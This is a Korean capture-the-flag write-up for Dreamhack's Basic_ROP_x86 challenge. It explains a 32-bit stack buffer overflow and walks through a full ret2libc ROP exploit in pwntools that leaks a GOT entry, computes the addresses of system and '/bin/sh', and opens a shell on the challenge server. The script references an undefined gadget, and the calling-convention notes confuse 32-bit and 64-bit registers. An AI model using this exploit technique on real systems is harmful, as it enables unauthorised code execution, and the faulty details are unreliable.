Dreamhack | Basic_ROP_x86
Dreamhack-Pwnable Basic_ROP_x86
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.
리턴 지향 프로그래밍 과정에 속한 문제이다. 따라서 해당 문제는 ROP로 진행하면 될 것이다.
문제 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
해당 코드에서는 system함수와 /bin/sh의 문자열이 보이지 않는다.
char buf[0x40] = {};
read(0, buf, 0x400);
buf의 공간은 0x40인데 read는 총 0x400을 진행하므로 해당 부분에서 버퍼 오버플로우가 발생한다.
-
위 빨간 네모칸을 통해서
[ebp-0x44]위치에 buf에 할당하고 0x400크기 만큼read한다. -
아래 빨간 네모칸을 통해서
[ebp-0x44]에 해당하는 buf를 buf의 크기인 0x40만큼write한다.
- system 주소 계산을 위한 GOT 출력
/bin/sh문자열- 출력된 got를 통한 system 주소
1. GOT 출력
ret까지 dummy값으로 채우고 write함수를 이용하여 인자를 write@got를 넣는다면 GOT 출력이 된다.
write함수는 3개의 인자를 필요로 하기에 [pop edi, pop esi, pop edx, ret]를 찾아야 했지만, 찾을 수 없었다.
32bit 함수 호출 규약을 확인해보면 32bit에서는 인자의 이름이 중요하지 않기에 pop 개수만 맞추기만 하면 된다.
또한, 64bit 아키텍쳐와 다르게 32bit에서는 순서가 함수 호출 -> 가젯 -> 인자 순서인 것을 알아야 한다.
이후, system과 /bin/sh을 보내야 하기에 main을 다시 호출하여 페이로드를 전송한다.
# [1] Read Got Leak
payload = b'A' * 0x48
payload += p32(write_plt)
payload += p32(pppr) # anything three pops
payload += p32(1) + p32(write_got) + p32(4) + p32(main)
p.send(payload)
write = u32(p.recvuntil(b'\xf7')[-4:])
log.info(hex(write))
2. /bin/sh 문자열
해당 문자열을 bss 공간에 넣어서 진행할 수 있지만, 한 줄로 /bin/sh의 offset을 알 수 있다.
got 출력을 통해 libc_base를 구할 수 있으므로 해당 offset에서 libc_base를 더하면 /bin/sh의 문자열 주소를 알 수 있다.
binsh_offset = list(libc.search(b'/bin/sh\x00'))[0]
3. system 주소
우리는 write@got를 출력하면서 해당 값을 받아 올 수 있었다. 이 값을 write의 offset값으로 뺀다면 libc_base를 구할 수 있다.
그리고, libc_base에 system의 offset을 더한다면 system의 주소를 구할 수 있게 된다.
lb = write - libc.symbols['write']
bin_sh = lb + binsh_offset
system = lb + libc.symbols['system']
Payload
from pwn import *
p = remote('host3.dreamhack.games', 14977)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
r = ROP(e)
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']
pppr = 0x08048689
binsh_offset = list(libc.search(b'/bin/sh\x00'))[0]
# [1] Read Got Leak
payload = b'A' * 0x48
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1) + p32(write_got) + p32(4) + p32(main)
p.send(payload)
write = u32(p.recvuntil(b'\xf7')[-4:])
# [2] System
lb = write - libc.symbols['write']
bin_sh = lb + binsh_offset
system = lb + libc.symbols['system']
log.info(hex(write))
log.info(hex(system))
# [3] Exploit
payload = b'A' * 0x48
payload += p32(system) + p32(pr) + p32(bin_sh) # system('/bin/sh')
p.send(payload)
p.interactive()
- 32bit와 64bit의 함수 호출 규약이 다르다는 것을 알면 금방 풀 수 있다.
함수 호출 규약
- Linux
- EDI, ESI, EDX, ECX, R8, R9
- Window
- ECX, EDX, R8, R9
- 32bit
- 함수 호출 -> 가젯 -> 인자
- 64bit
- 가젯 -> 인자 -> 함수 호출